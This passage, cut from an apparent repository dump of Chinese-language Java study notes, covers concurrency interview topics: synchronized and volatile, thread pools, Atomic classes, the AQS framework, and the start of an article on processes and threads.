name;\n\t}\n\n\tpublic void setName(String name) {\n\t\tthis.name = name;\n\t}\n\n\tpublic int getAge() {\n\t\treturn age;\n\t}\n\n\tpublic void setAge(int age) {\n\t\tthis.age = age;\n\t}\n\n}\n```\n上述代码首先创建了一个 Person 对象，然后把 Person 对象设置进 AtomicReference 对象中，然后调用 compareAndSet 方法，该方法就是通过通过 CAS 操作设置 ar。如果 ar 的值为 person 的话，则将其设置为 updatePerson。实现原理与 AtomicInteger 类中的 compareAndSet 方法相同。运行上面的代码后的输出结果如下：\n\n```\nDaisy\n20\n```\n\n\n### 5 对象的属性修改类型原子类\n\n#### 5.1 对象的属性修改类型原子类介绍\n\n如果需要原子更新某个类里的某个字段时，需要用到对象的属性修改类型原子类。\n\n- AtomicIntegerFieldUpdater:原子更新整形字段的更新器\n- AtomicLongFieldUpdater：原子更新长整形字段的更新器\n- AtomicStampedReference ：原子更新带有版本号的引用类型。该类将整数值与引用关联起来，可用于解决原子的更新数据和数据的版本号，可以解决使用 CAS 进行原子更新时可能出现的 ABA 问题。\n\n要想原子地更新对象的属性需要两步。第一步，因为对象的属性修改类型原子类都是抽象类，所以每次使用都必须使用静态方法 newUpdater()创建一个更新器，并且需要设置想要更新的类和属性。第二步，更新的对象属性必须使用 public volatile 修饰符。\n\n上面三个类提供的方法几乎相同，所以我们这里以 `AtomicIntegerFieldUpdater`为例子来介绍。\n\n#### 5.2 AtomicIntegerFieldUpdater 类使用示例\n\n```java\nimport java.util.concurrent.atomic.AtomicIntegerFieldUpdater;\n\npublic class AtomicIntegerFieldUpdaterTest {\n\tpublic static void main(String[] args) {\n\t\tAtomicIntegerFieldUpdater<User> a = AtomicIntegerFieldUpdater.newUpdater(User.class, \"age\");\n\n\t\tUser user = new User(\"Java\", 22);\n\t\tSystem.out.println(a.getAndIncrement(user));// 22\n\t\tSystem.out.println(a.get(user));// 23\n\t}\n}\n\nclass User {\n\tprivate String name;\n\tpublic volatile int age;\n\n\tpublic User(String name, int age) {\n\t\tsuper();\n\t\tthis.name = name;\n\t\tthis.age = age;\n\t}\n\n\tpublic String getName() {\n\t\treturn name;\n\t}\n\n\tpublic void setName(String name) {\n\t\tthis.name = name;\n\t}\n\n\tpublic int getAge() {\n\t\treturn age;\n\t}\n\n\tpublic void setAge(int age) {\n\t\tthis.age = age;\n\t}\n\n}\n```\n\n输出结果：\n\n```\n22\n23\n```\n\n"
  },
  {
    "path": "docs/java/Multithread/BATJ都爱问的多线程面试题.md",
    "content": "\n\n\n# 一 面试中关于 synchronized 关键字的 5 连击\n\n### 1.1 说一说自己对于 synchronized 关键字的了解\n\nsynchronized关键字解决的是多个线程之间访问资源的同步性，synchronized关键字可以保证被它修饰的方法或者代码块在任意时刻只能有一个线程执行。\n\n另外，在 Java 早期版本中，synchronized属于重量级锁，效率低下，因为监视器锁（monitor）是依赖于底层的操作系统的 Mutex Lock 来实现的，Java 的线程是映射到操作系统的原生线程之上的。如果要挂起或者唤醒一个线程，都需要操作系统帮忙完成，而操作系统实现线程之间的切换时需要从用户态转换到内核态，这个状态之间的转换需要相对比较长的时间，时间成本相对较高，这也是为什么早期的 synchronized 效率低的原因。庆幸的是在 Java 6 之后 Java 官方对从 JVM 层面对synchronized 较大优化，所以现在的 synchronized 锁效率也优化得很不错了。JDK1.6对锁的实现引入了大量的优化，如自旋锁、适应性自旋锁、锁消除、锁粗化、偏向锁、轻量级锁等技术来减少锁操作的开销。\n\n\n### 1.2 说说自己是怎么使用 synchronized 关键字，在项目中用到了吗\n\n**synchronized关键字最主要的三种使用方式：**\n\n- **修饰实例方法，作用于当前对象实例加锁，进入同步代码前要获得当前对象实例的锁**\n- **修饰静态方法，作用于当前类对象加锁，进入同步代码前要获得当前类对象的锁** 。也就是给当前类加锁，会作用于类的所有对象实例，因为静态成员不属于任何一个实例对象，是类成员（ static 表明这是该类的一个静态资源，不管new了多少个对象，只有一份，所以对该类的所有对象都加了锁）。所以如果一个线程A调用一个实例对象的非静态 synchronized 方法，而线程B需要调用这个实例对象所属类的静态 synchronized 方法，是允许的，不会发生互斥现象，**因为访问静态 synchronized 方法占用的锁是当前类的锁，而访问非静态 synchronized 方法占用的锁是当前实例对象锁**。\n- **修饰代码块，指定加锁对象，对给定对象加锁，进入同步代码库前要获得给定对象的锁。** 和 synchronized 方法一样，synchronized(this)代码块也是锁定当前对象的。synchronized 关键字加到 static 静态方法和 synchronized(class)代码块上都是是给 Class 类上锁。这里再提一下：synchronized关键字加到非 static 静态方法上是给对象实例上锁。另外需要注意的是：尽量不要使用 synchronized(String a) 因为JVM中，字符串常量池具有缓冲功能！\n\n下面我已一个常见的面试题为例讲解一下 synchronized 关键字的具体使用。\n\n面试中面试官经常会说：“单例模式了解吗？来给我手写一下！给我解释一下双重检验锁方式实现单例模式的原理呗！”\n\n\n\n**双重校验锁实现对象单例（线程安全）**\n\n```java\npublic class Singleton {\n\n    private volatile static Singleton uniqueInstance;\n\n    private Singleton() {\n    }\n\n    public static Singleton getUniqueInstance() {\n       //先判断对象是否已经实例过，没有实例化过才进入加锁代码\n        if (uniqueInstance == null) {\n            //类对象加锁\n            synchronized (Singleton.class) {\n                if (uniqueInstance == null) {\n                    uniqueInstance = new Singleton();\n                }\n            }\n        }\n        return uniqueInstance;\n    }\n}\n```\n另外，需要注意 uniqueInstance 采用 volatile 关键字修饰也是很有必要。\n\nuniqueInstance 采用 volatile 关键字修饰也是很有必要的， uniqueInstance = new Singleton(); 这段代码其实是分为三步执行：\n\n1. 为 uniqueInstance 分配内存空间\n2. 初始化 uniqueInstance\n3. 将 uniqueInstance 指向分配的内存地址\n\n但是由于 JVM 具有指令重排的特性，执行顺序有可能变成 1->3->2。指令重排在单线程环境下不会出先问题，但是在多线程环境下会导致一个线程获得还没有初始化的实例。例如，线程 T1 执行了 1 和 3，此时 T2 调用 getUniqueInstance() 后发现 uniqueInstance 不为空，因此返回 uniqueInstance，但此时 uniqueInstance 还未被初始化。\n\n使用 volatile 可以禁止 JVM 的指令重排，保证在多线程环境下也能正常运行。\n\n### 1.3 讲一下 synchronized 关键字的底层原理\n\n**synchronized 关键字底层原理属于 JVM 层面。**\n\n**① synchronized 同步语句块的情况**\n\n```java\npublic class SynchronizedDemo {\n\tpublic void method() {\n\t\tsynchronized (this) {\n\t\t\tSystem.out.println(\"synchronized 代码块\");\n\t\t}\n\t}\n}\n\n```\n\n通过 JDK 自带的 javap 命令查看 SynchronizedDemo 类的相关字节码信息：首先切换到类的对应目录执行 `javac SynchronizedDemo.java` 命令生成编译后的 .class 文件，然后执行`javap -c -s -v -l SynchronizedDemo.class`。\n\n![synchronized 关键字原理](https://user-gold-cdn.xitu.io/2018/10/26/166add616a292bcf?w=917&h=633&f=png&s=21863)\n\n从上面我们可以看出：\n\n**synchronized 同步语句块的实现使用的是 monitorenter 和 monitorexit 指令，其中 monitorenter 指令指向同步代码块的开始位置，monitorexit 指令则指明同步代码块的结束位置。** 当执行 monitorenter 指令时，线程试图获取锁也就是获取 monitor(monitor对象存在于每个Java对象的对象头中，synchronized 锁便是通过这种方式获取锁的，也是为什么Java中任意对象可以作为锁的原因) 的持有权.当计数器为0则可以成功获取，获取后将锁计数器设为1也就是加1。相应的在执行 monitorexit 指令后，将锁计数器设为0，表明锁被释放。如果获取对象锁失败，那当前线程就要阻塞等待，直到锁被另外一个线程释放为止。\n\n**② synchronized 修饰方法的的情况**\n\n```java\npublic class SynchronizedDemo2 {\n\tpublic synchronized void method() {\n\t\tSystem.out.println(\"synchronized 方法\");\n\t}\n}\n\n```\n\n![synchronized 关键字原理](https://user-gold-cdn.xitu.io/2018/10/26/166add6169fc206d?w=875&h=421&f=png&s=16114)\n\nsynchronized 修饰的方法并没有 monitorenter 指令和 monitorexit 指令，取得代之的确实是 ACC_SYNCHRONIZED 标识，该标识指明了该方法是一个同步方法，JVM 通过该 ACC_SYNCHRONIZED 访问标志来辨别一个方法是否声明为同步方法，从而执行相应的同步调用。\n\n\n### 1.4 说说 JDK1.6 之后的synchronized 关键字底层做了哪些优化，可以详细介绍一下这些优化吗\n\nJDK1.6 对锁的实现引入了大量的优化，如偏向锁、轻量级锁、自旋锁、适应性自旋锁、锁消除、锁粗化等技术来减少锁操作的开销。\n\n锁主要存在四种状态，依次是：无锁状态、偏向锁状态、轻量级锁状态、重量级锁状态，他们会随着竞争的激烈而逐渐升级。注意锁可以升级不可降级，这种策略是为了提高获得锁和释放锁的效率。\n\n关于这几种优化的详细信息可以查看：[synchronized 关键字使用、底层原理、JDK1.6 之后的底层优化以及 和ReenTrantLock 的对比](https://mp.weixin.qq.com/s?__biz=MzU4NDQ4MzU5OA==&mid=2247484539&idx=1&sn=3500cdcd5188bdc253fb19a1bfa805e6&chksm=fd98521acaefdb0c5167247a1fa903a1a53bb4e050b558da574f894f9feda5378ec9d0fa1ac7&token=1604028915&lang=zh_CN#rd)\n\n### 1.5 谈谈 synchronized和ReenTrantLock 的区别\n\n\n**① 两者都是可重入锁**\n\n两者都是可重入锁。“可重入锁”概念是：自己可以再次获取自己的内部锁。比如一个线程获得了某个对象的锁，此时这个对象锁还没有释放，当其再次想要获取这个对象的锁的时候还是可以获取的，如果不可锁重入的话，就会造成死锁。同一个线程每次获取锁，锁的计数器都自增1，所以要等到锁的计数器下降为0时才能释放锁。\n\n**② synchronized 依赖于 JVM 而 ReenTrantLock 依赖于 API**\n\nsynchronized 是依赖于 JVM 实现的，前面我们也讲到了 虚拟机团队在 JDK1.6 为 synchronized 关键字进行了很多优化，但是这些优化都是在虚拟机层面实现的，并没有直接暴露给我们。ReenTrantLock 是 JDK 层面实现的（也就是 API 层面，需要 lock() 和 unlock 方法配合 try/finally 语句块来完成），所以我们可以通过查看它的源代码，来看它是如何实现的。\n\n**③ ReenTrantLock 比 synchronized 增加了一些高级功能**\n\n相比synchronized，ReenTrantLock增加了一些高级功能。主要来说主要有三点：**①等待可中断；②可实现公平锁；③可实现选择性通知（锁可以绑定多个条件）**\n\n- **ReenTrantLock提供了一种能够中断等待锁的线程的机制**，通过lock.lockInterruptibly()来实现这个机制。也就是说正在等待的线程可以选择放弃等待，改为处理其他事情。\n- **ReenTrantLock可以指定是公平锁还是非公平锁。而synchronized只能是非公平锁。所谓的公平锁就是先等待的线程先获得锁。** ReenTrantLock默认情况是非公平的，可以通过 ReenTrantLock类的`ReentrantLock(boolean fair)`构造方法来制定是否是公平的。\n- synchronized关键字与wait()和notify/notifyAll()方法相结合可以实现等待/通知机制，ReentrantLock类当然也可以实现，但是需要借助于Condition接口与newCondition() 方法。Condition是JDK1.5之后才有的，它具有很好的灵活性，比如可以实现多路通知功能也就是在一个Lock对象中可以创建多个Condition实例（即对象监视器），**线程对象可以注册在指定的Condition中，从而可以有选择性的进行线程通知，在调度线程上更加灵活。 在使用notify/notifyAll()方法进行通知时，被通知的线程是由 JVM 选择的，用ReentrantLock类结合Condition实例可以实现“选择性通知”** ，这个功能非常重要，而且是Condition接口默认提供的。而synchronized关键字就相当于整个Lock对象中只有一个Condition实例，所有的线程都注册在它一个身上。如果执行notifyAll()方法的话就会通知所有处于等待状态的线程这样会造成很大的效率问题，而Condition实例的signalAll()方法 只会唤醒注册在该Condition实例中的所有等待线程。\n\n如果你想使用上述功能，那么选择ReenTrantLock是一个不错的选择。\n\n**④ 性能已不是选择标准**\n\n# 二 面试中关于线程池的 4 连击\n\n### 2.1 讲一下Java内存模型\n\n\n在 JDK1.2 之前，Java的内存模型实现总是从<font color=\"red\">**主存**（即共享内存）读取变量</font>，是不需要进行特别的注意的。而在当前的 Java 内存模型下，线程可以把变量保存<font color=\"red\">**本地内存**</font>（比如机器的寄存器）中，而不是直接在主存中进行读写。这就可能造成一个线程在主存中修改了一个变量的值，而另外一个线程还继续使用它在寄存器中的变量值的拷贝，造成<font color=\"red\">**数据的不一致**</font>。\n\n![数据的不一致](https://user-gold-cdn.xitu.io/2018/10/30/166c46ede4423ba2?w=273&h=166&f=jpeg&s=7268)\n\n要解决这个问题，就需要把变量声明为<font color=\"red\"> **volatile**</font>，这就指示 JVM，这个变量是不稳定的，每次使用它都到主存中进行读取。\n\n说白了，<font color=\"red\"> **volatile**</font> 关键字的主要作用就是保证变量的可见性然后还有一个作用是防止指令重排序。\n\n![volatile关键字的可见性](https://user-gold-cdn.xitu.io/2018/10/30/166c46ede4b9f501?w=474&h=238&f=jpeg&s=9942)\n\n\n### 2.2 说说 synchronized 关键字和 volatile 关键字的区别\n\n synchronized关键字和volatile关键字比较\n\n- **volatile关键字**是线程同步的**轻量级实现**，所以**volatile性能肯定比synchronized关键字要好**。但是**volatile关键字只能用于变量而synchronized关键字可以修饰方法以及代码块**。synchronized关键字在JavaSE1.6之后进行了主要包括为了减少获得锁和释放锁带来的性能消耗而引入的偏向锁和轻量级锁以及其它各种优化之后执行效率有了显著提升，**实际开发中使用 synchronized 关键字的场景还是更多一些**。\n- **多线程访问volatile关键字不会发生阻塞，而synchronized关键字可能会发生阻塞**\n- **volatile关键字能保证数据的可见性，但不能保证数据的原子性。synchronized关键字两者都能保证。**\n- **volatile关键字主要用于解决变量在多个线程之间的可见性，而 synchronized关键字解决的是多个线程之间访问资源的同步性。**\n\n\n# 三 面试中关于 线程池的 2 连击\n\n\n### 3.1 为什么要用线程池？\n\n线程池提供了一种限制和管理资源（包括执行一个任务）。 每个线程池还维护一些基本统计信息，例如已完成任务的数量。 \n\n这里借用《Java并发编程的艺术》提到的来说一下使用线程池的好处：\n\n- **降低资源消耗。** 通过重复利用已创建的线程降低线程创建和销毁造成的消耗。\n- **提高响应速度。** 当任务到达时，任务可以不需要的等到线程创建就能立即执行。\n- **提高线程的可管理性。** 线程是稀缺资源，如果无限制的创建，不仅会消耗系统资源，还会降低系统的稳定性，使用线程池可以进行统一的分配，调优和监控。\n\n\n### 3.2 实现Runnable接口和Callable接口的区别\n\n如果想让线程池执行任务的话需要实现的Runnable接口或Callable接口。 Runnable接口或Callable接口实现类都可以被ThreadPoolExecutor或ScheduledThreadPoolExecutor执行。两者的区别在于 Runnable 接口不会返回结果但是 Callable 接口可以返回结果。\n\n  **备注：** 工具类`Executors`可以实现`Runnable`对象和`Callable`对象之间的相互转换。（`Executors.callable（Runnable task）`或`Executors.callable（Runnable task，Object resule）`）。\n\n### 3.3 执行execute()方法和submit()方法的区别是什么呢？\n\n  1)**`execute()` 方法用于提交不需要返回值的任务，所以无法判断任务是否被线程池执行成功与否；**\n  \n  2)**submit()方法用于提交需要返回值的任务。线程池会返回一个future类型的对象，通过这个future对象可以判断任务是否执行成功**，并且可以通过future的get()方法来获取返回值，get()方法会阻塞当前线程直到任务完成，而使用 `get（long timeout，TimeUnit unit）`方法则会阻塞当前线程一段时间后立即返回，这时候有可能任务没有执行完。\n  \n\n### 3.4 如何创建线程池\n\n《阿里巴巴Java开发手册》中强制线程池不允许使用 Executors 去创建，而是通过 ThreadPoolExecutor 的方式，这样的处理方式让写的同学更加明确线程池的运行规则，规避资源耗尽的风险\n\n> Executors 返回线程池对象的弊端如下：\n> \n> - **FixedThreadPool 和 SingleThreadExecutor** ： 允许请求的队列长度为 Integer.MAX_VALUE,可能堆积大量的请求，从而导致OOM。\n> - **CachedThreadPool 和 ScheduledThreadPool** ： 允许创建的线程数量为 Integer.MAX_VALUE ，可能会创建大量线程，从而导致OOM。\n\n**方式一：通过构造方法实现**\n![通过构造方法实现](https://user-gold-cdn.xitu.io/2018/10/30/166c4a5baac923e9?w=925&h=158&f=jpeg&s=29190)\n**方式二：通过Executor 框架的工具类Executors来实现**\n我们可以创建三种类型的ThreadPoolExecutor：\n\n- **FixedThreadPool** ： 该方法返回一个固定线程数量的线程池。该线程池中的线程数量始终不变。当有一个新的任务提交时，线程池中若有空闲线程，则立即执行。若没有，则新的任务会被暂存在一个任务队列中，待有线程空闲时，便处理在任务队列中的任务。\n- **SingleThreadExecutor：** 方法返回一个只有一个线程的线程池。若多余一个任务被提交到该线程池，任务会被保存在一个任务队列中，待线程空闲，按先入先出的顺序执行队列中的任务。\n- **CachedThreadPool：** 该方法返回一个可根据实际情况调整线程数量的线程池。线程池的线程数量不确定，但若有空闲线程可以复用，则会优先使用可复用的线程。若所有线程均在工作，又有新的任务提交，则会创建新的线程处理任务。所有线程在当前任务执行完毕后，将返回线程池进行复用。\n\n对应Executors工具类中的方法如图所示：\n![通过Executor 框架的工具类Executors来实现](https://user-gold-cdn.xitu.io/2018/10/30/166c4a5baa9ca5e9?w=645&h=222&f=jpeg&s=31710)\n\n\n# 四  面试中关于 Atomic 原子类的 4 连击\n\n### 4.1 介绍一下Atomic 原子类\n\nAtomic 翻译成中文是原子的意思。在化学上，我们知道原子是构成一般物质的最小单位，在化学反应中是不可分割的。在我们这里 Atomic 是指一个操作是不可中断的。即使是在多个线程一起执行的时候，一个操作一旦开始，就不会被其他线程干扰。\n\n所以，所谓原子类说简单点就是具有原子/原子操作特征的类。\n\n\n并发包 `java.util.concurrent` 的原子类都存放在`java.util.concurrent.atomic`下,如下图所示。\n\n![ JUC 原子类概览](https://user-gold-cdn.xitu.io/2018/10/30/166c4ac08d4c5547?w=317&h=367&f=png&s=13267)\n\n### 4.2 JUC 包中的原子类是哪4类?\n\n**基本类型** \n\n使用原子的方式更新基本类型\n\n- AtomicInteger：整形原子类\n- AtomicLong：长整型原子类\n-  AtomicBoolean ：布尔型原子类\n\n**数组类型**\n\n使用原子的方式更新数组里的某个元素\n\n\n- AtomicIntegerArray：整形数组原子类\n- AtomicLongArray：长整形数组原子类\n- AtomicReferenceArray ：引用类型数组原子类\n\n**引用类型**\n\n- AtomicReference：引用类型原子类\n- AtomicStampedRerence：原子更新引用类型里的字段原子类\n- AtomicMarkableReference ：原子更新带有标记位的引用类型\n\n**对象的属性修改类型**\n\n- AtomicIntegerFieldUpdater:原子更新整形字段的更新器\n- AtomicLongFieldUpdater：原子更新长整形字段的更新器\n- AtomicStampedReference ：原子更新带有版本号的引用类型。该类将整数值与引用关联起来，可用于解决原子的更新数据和数据的版本号，可以解决使用 CAS 进行原子更新时可能出现的 ABA 问题。\n\n\n### 4.3 讲讲 AtomicInteger 的使用\n\n **AtomicInteger 类常用方法**\n \n```java\npublic final int get() //获取当前的值\npublic final int getAndSet(int newValue)//获取当前的值，并设置新的值\npublic final int getAndIncrement()//获取当前的值，并自增\npublic final int getAndDecrement() //获取当前的值，并自减\npublic final int getAndAdd(int delta) //获取当前的值，并加上预期的值\nboolean compareAndSet(int expect, int update) //如果输入的数值等于预期值，则以原子方式将该值设置为输入值（update）\npublic final void lazySet(int newValue)//最终设置为newValue,使用 lazySet 设置之后可能导致其他线程在之后的一小段时间内还是可以读到旧的值。\n```\n\n **AtomicInteger 类的使用示例**\n\n使用 AtomicInteger 之后，不用对 increment() 方法加锁也可以保证线程安全。\n```java\nclass AtomicIntegerTest {\n        private AtomicInteger count = new AtomicInteger();\n      //使用AtomicInteger之后，不需要对该方法加锁，也可以实现线程安全。\n        public void increment() {\n                  count.incrementAndGet();\n        }\n     \n       public int getCount() {\n                return count.get();\n        }\n}\n\n```\n\n### 4.4 能不能给我简单介绍一下 AtomicInteger 类的原理\n\nAtomicInteger 线程安全原理简单分析\n\nAtomicInteger 类的部分源码：\n\n```java\n    // setup to use Unsafe.compareAndSwapInt for updates（更新操作时提供“比较并替换”的作用）\n    private static final Unsafe unsafe = Unsafe.getUnsafe();\n    private static final long valueOffset;\n\n    static {\n        try {\n            valueOffset = unsafe.objectFieldOffset\n                (AtomicInteger.class.getDeclaredField(\"value\"));\n        } catch (Exception ex) { throw new Error(ex); }\n    }\n\n    private volatile int value;\n``` \n\nAtomicInteger 类主要利用 CAS (compare and swap) + volatile 和 native 方法来保证原子操作，从而避免 synchronized 的高开销，执行效率大为提升。\n\nCAS的原理是拿期望的值和原本的一个值作比较，如果相同则更新成新的值。UnSafe 类的 objectFieldOffset() 方法是一个本地方法，这个方法是用来拿到“原来的值”的内存地址，返回值是 valueOffset。另外 value 是一个volatile变量，在内存中可见，因此 JVM 可以保证任何时刻任何线程总能拿到该变量的最新值。\n\n关于 Atomic 原子类这部分更多内容可以查看我的这篇文章：并发编程面试必备：[JUC 中的 Atomic 原子类总结](https://mp.weixin.qq.com/s/joa-yOiTrYF67bElj8xqvg)\n\n# 五  AQS\n\n### 5.1 AQS 介绍\n\nAQS的全称为（AbstractQueuedSynchronizer），这个类在java.util.concurrent.locks包下面。\n\n![enter image description here](https://user-gold-cdn.xitu.io/2018/10/30/166c4bb575d4a690?w=317&h=338&f=png&s=14122)\n\nAQS是一个用来构建锁和同步器的框架，使用AQS能简单且高效地构造出应用广泛的大量的同步器，比如我们提到的ReentrantLock，Semaphore，其他的诸如ReentrantReadWriteLock，SynchronousQueue，FutureTask等等皆是基于AQS的。当然，我们自己也能利用AQS非常轻松容易地构造出符合我们自己需求的同步器。\n\n### 5.2 AQS 原理分析\n\nAQS 原理这部分参考了部分博客，在5.2节末尾放了链接。\n\n> 在面试中被问到并发知识的时候，大多都会被问到“请你说一下自己对于AQS原理的理解”。下面给大家一个示例供大家参加，面试不是背题，大家一定要假如自己的思想，即使加入不了自己的思想也要保证自己能够通俗的讲出来而不是背出来。\n\n下面大部分内容其实在AQS类注释上已经给出了，不过是英语看着比较吃力一点，感兴趣的话可以看看源码。\n\n#### 5.2.1 AQS 原理概览\n\n\n\n**AQS核心思想是，如果被请求的共享资源空闲，则将当前请求资源的线程设置为有效的工作线程，并且将共享资源设置为锁定状态。如果被请求的共享资源被占用，那么就需要一套线程阻塞等待以及被唤醒时锁分配的机制，这个机制AQS是用CLH队列锁实现的，即将暂时获取不到锁的线程加入到队列中。**\n\n> CLH(Craig,Landin,and Hagersten)队列是一个虚拟的双向队列（虚拟的双向队列即不存在队列实例，仅存在结点之间的关联关系）。AQS是将每条请求共享资源的线程封装成一个CLH锁队列的一个结点（Node）来实现锁的分配。\n\n看个AQS(AbstractQueuedSynchronizer)原理图：\n\n\n![enter image description here](https://user-gold-cdn.xitu.io/2018/10/30/166c4bbe4a9c5ae7?w=852&h=401&f=png&s=21797)\n\nAQS使用一个int成员变量来表示同步状态，通过内置的FIFO队列来完成获取资源线程的排队工作。AQS使用CAS对该同步状态进行原子操作实现对其值的修改。\n\n```java\nprivate volatile int state;//共享变量，使用volatile修饰保证线程可见性\n```\n\n状态信息通过procted类型的getState，setState，compareAndSetState进行操作\n\n```java\n\n//返回同步状态的当前值\nprotected final int getState() {  \n        return state;\n}\n // 设置同步状态的值\nprotected final void setState(int newState) { \n        state = newState;\n}\n//原子地（CAS操作）将同步状态值设置为给定值update如果当前同步状态的值等于expect（期望值）\nprotected final boolean compareAndSetState(int expect, int update) {\n        return unsafe.compareAndSwapInt(this, stateOffset, expect, update);\n}\n```\n\n#### 5.2.2 AQS 对资源的共享方式\n\n**AQS定义两种资源共享方式**\n\n- **Exclusive**（独占）：只有一个线程能执行，如ReentrantLock。又可分为公平锁和非公平锁：\n    - 公平锁：按照线程在队列中的排队顺序，先到者先拿到锁\n    - 非公平锁：当线程要获取锁时，无视队列顺序直接去抢锁，谁抢到就是谁的\n-  **Share**（共享）：多个线程可同时执行，如Semaphore/CountDownLatch。Semaphore、CountDownLatCh、 CyclicBarrier、ReadWriteLock 我们都会在后面讲到。\n\nReentrantReadWriteLock 可以看成是组合式，因为ReentrantReadWriteLock也就是读写锁允许多个线程同时对某一资源进行读。\n\n不同的自定义同步器争用共享资源的方式也不同。自定义同步器在实现时只需要实现共享资源 state 的获取与释放方式即可，至于具体线程等待队列的维护（如获取资源失败入队/唤醒出队等），AQS已经在顶层实现好了。\n\n#### 5.2.3 AQS底层使用了模板方法模式\n\n同步器的设计是基于模板方法模式的，如果需要自定义同步器一般的方式是这样（模板方法模式很经典的一个应用）：\n\n1. 使用者继承AbstractQueuedSynchronizer并重写指定的方法。（这些重写方法很简单，无非是对于共享资源state的获取和释放）\n2. 将AQS组合在自定义同步组件的实现中，并调用其模板方法，而这些模板方法会调用使用者重写的方法。\n\n这和我们以往通过实现接口的方式有很大区别，这是模板方法模式很经典的一个运用。\n\n**AQS使用了模板方法模式，自定义同步器时需要重写下面几个AQS提供的模板方法：**\n\n```java\nisHeldExclusively()//该线程是否正在独占资源。只有用到condition才需要去实现它。\ntryAcquire(int)//独占方式。尝试获取资源，成功则返回true，失败则返回false。\ntryRelease(int)//独占方式。尝试释放资源，成功则返回true，失败则返回false。\ntryAcquireShared(int)//共享方式。尝试获取资源。负数表示失败；0表示成功，但没有剩余可用资源；正数表示成功，且有剩余资源。\ntryReleaseShared(int)//共享方式。尝试释放资源，成功则返回true，失败则返回false。\n\n```\n\n默认情况下，每个方法都抛出 `UnsupportedOperationException`。 这些方法的实现必须是内部线程安全的，并且通常应该简短而不是阻塞。AQS类中的其他方法都是final ，所以无法被其他类使用，只有这几个方法可以被其他类使用。 \n\n以ReentrantLock为例，state初始化为0，表示未锁定状态。A线程lock()时，会调用tryAcquire()独占该锁并将state+1。此后，其他线程再tryAcquire()时就会失败，直到A线程unlock()到state=0（即释放锁）为止，其它线程才有机会获取该锁。当然，释放锁之前，A线程自己是可以重复获取此锁的（state会累加），这就是可重入的概念。但要注意，获取多少次就要释放多么次，这样才能保证state是能回到零态的。\n\n再以CountDownLatch以例，任务分为N个子线程去执行，state也初始化为N（注意N要与线程个数一致）。这N个子线程是并行执行的，每个子线程执行完后countDown()一次，state会CAS(Compare and Swap)减1。等到所有子线程都执行完后(即state=0)，会unpark()主调用线程，然后主调用线程就会从await()函数返回，继续后余动作。\n\n一般来说，自定义同步器要么是独占方法，要么是共享方式，他们也只需实现`tryAcquire-tryRelease`、`tryAcquireShared-tryReleaseShared`中的一种即可。但AQS也支持自定义同步器同时实现独占和共享两种方式，如`ReentrantReadWriteLock`。\n\n推荐两篇 AQS 原理和相关源码分析的文章：\n\n- http://www.cnblogs.com/waterystone/p/4920797.html\n- https://www.cnblogs.com/chengxiao/archive/2017/07/24/7141160.html\n\n### 5.3 AQS 组件总结\n\n- **Semaphore(信号量)-允许多个线程同时访问：** synchronized 和 ReentrantLock 都是一次只允许一个线程访问某个资源，Semaphore(信号量)可以指定多个线程同时访问某个资源。\n- **CountDownLatch （倒计时器）：** CountDownLatch是一个同步工具类，用来协调多个线程之间的同步。这个工具通常用来控制线程等待，它可以让某一个线程等待直到倒计时结束，再开始执行。\n- **CyclicBarrier(循环栅栏)：** CyclicBarrier 和 CountDownLatch 非常类似，它也可以实现线程间的技术等待，但是它的功能比 CountDownLatch 更加复杂和强大。主要应用场景和 CountDownLatch 类似。CyclicBarrier 的字面意思是可循环使用（Cyclic）的屏障（Barrier）。它要做的事情是，让一组线程到达一个屏障（也可以叫同步点）时被阻塞，直到最后一个线程到达屏障时，屏障才会开门，所有被屏障拦截的线程才会继续干活。CyclicBarrier默认的构造方法是 CyclicBarrier(int parties)，其参数表示屏障拦截的线程数量，每个线程调用await方法告诉 CyclicBarrier 我已经到达了屏障，然后当前线程被阻塞。\n\n关于AQS这部分的更多内容可以查看我的这篇文章:[并发编程面试必备：AQS 原理以及 AQS 同步组件总结](https://mp.weixin.qq.com/s/joa-yOiTrYF67bElj8xqvg)\n\n# Reference\n\n- 《深入理解 Java 虚拟机》\n- 《实战 Java 高并发程序设计》\n- 《Java并发编程的艺术》\n- http://www.cnblogs.com/waterystone/p/4920797.html\n- https://www.cnblogs.com/chengxiao/archive/2017/07/24/7141160.html\n"
  },
  {
    "path": "docs/java/Multithread/ConcurrentProgramming1-并发编程基础知识.md",
    "content": "# Java 并发基础知识\n\nJava 并发的基础知识，可能会在笔试中遇到，技术面试中也可能以并发知识环节提问的第一个问题出现。比如面试官可能会问你：“谈谈自己对于进程和线程的理解，两者的区别是什么？”\n\n**本节思维导图：**\n\n![Java 并发基础知识](http://my-blog-to-use.oss-cn-beijing.aliyuncs.com/18-10-26/51390272.jpg)\n\n## 一 进程和线程\n\n进程和线程的对比这一知识点由于过于基础，所以在面试中很少碰到，但是极有可能会在笔试题中碰到。\n\n常见的提问形式是这样的：**“什么是线程和进程?，请简要描述线程与进程的关系、区别及优缺点？ ”**。\n\n### 1.1. 何为进程?\n\n进程是程序的一次执行过程，是系统运行程序的基本单位，因此进程是动态的。系统运行一个程序即是一个进程从创建，运行到消亡的过程。\n\n在Java中，当我们启动 main 函数时其实就是启动了一个 JVM 的进程，而 main 函数所在的线程就是这个进程中的一个线程，也称主线程。\n\n如下图所示，在 windows 中通过查看任务管理器的方式，我们就可以清楚看到 window 当前运行的进程（.exe文件的运行）。\n\n![进程](https://images.gitbook.cn/a0929b60-d133-11e8-88a4-5328c5b70145)\n\n### 1.2 何为线程?\n\n线程与进程相似，但线程是一个比进程更小的执行单位。一个进程在其执行的过程中可以产生多个线程。与进程不同的是同类的多个线程共享进程的**堆**和**方法区**资源，但每个线程有自己的**程序计数器**、**虚拟机栈**和**本地方法栈**，所以系统在产生一个线程，或是在各个线程之间作切换工作时，负担要比进程小得多，也正因为如此，线程也被称为轻量级进程。\n\nJava 程序天生就是多线程程序，我们可以通过 JMX 来看一下一个普通的 Java 程序有哪些线程，代码如下。\n\n```java\npublic class MultiThread {\n\tpublic static void main(String[] args) {\n\t\t// 获取Java线程管理MXBean\n\tThreadMXBean threadMXBean = ManagementFactory.getThreadMXBean();\n\t\t// 不需要获取同步的monitor和synchronizer信息，仅获取线程和线程堆栈信息\n\t\tThreadInfo[] threadInfos = threadMXBean.dumpAllThreads(false, false);\n\t\t// 遍历线程信息，仅打印线程ID和线程名称信息\n\t\tfor (ThreadInfo threadInfo : threadInfos) {\n\t\t\tSystem.out.println(\"[\" + threadInfo.getThreadId() + \"] \" + 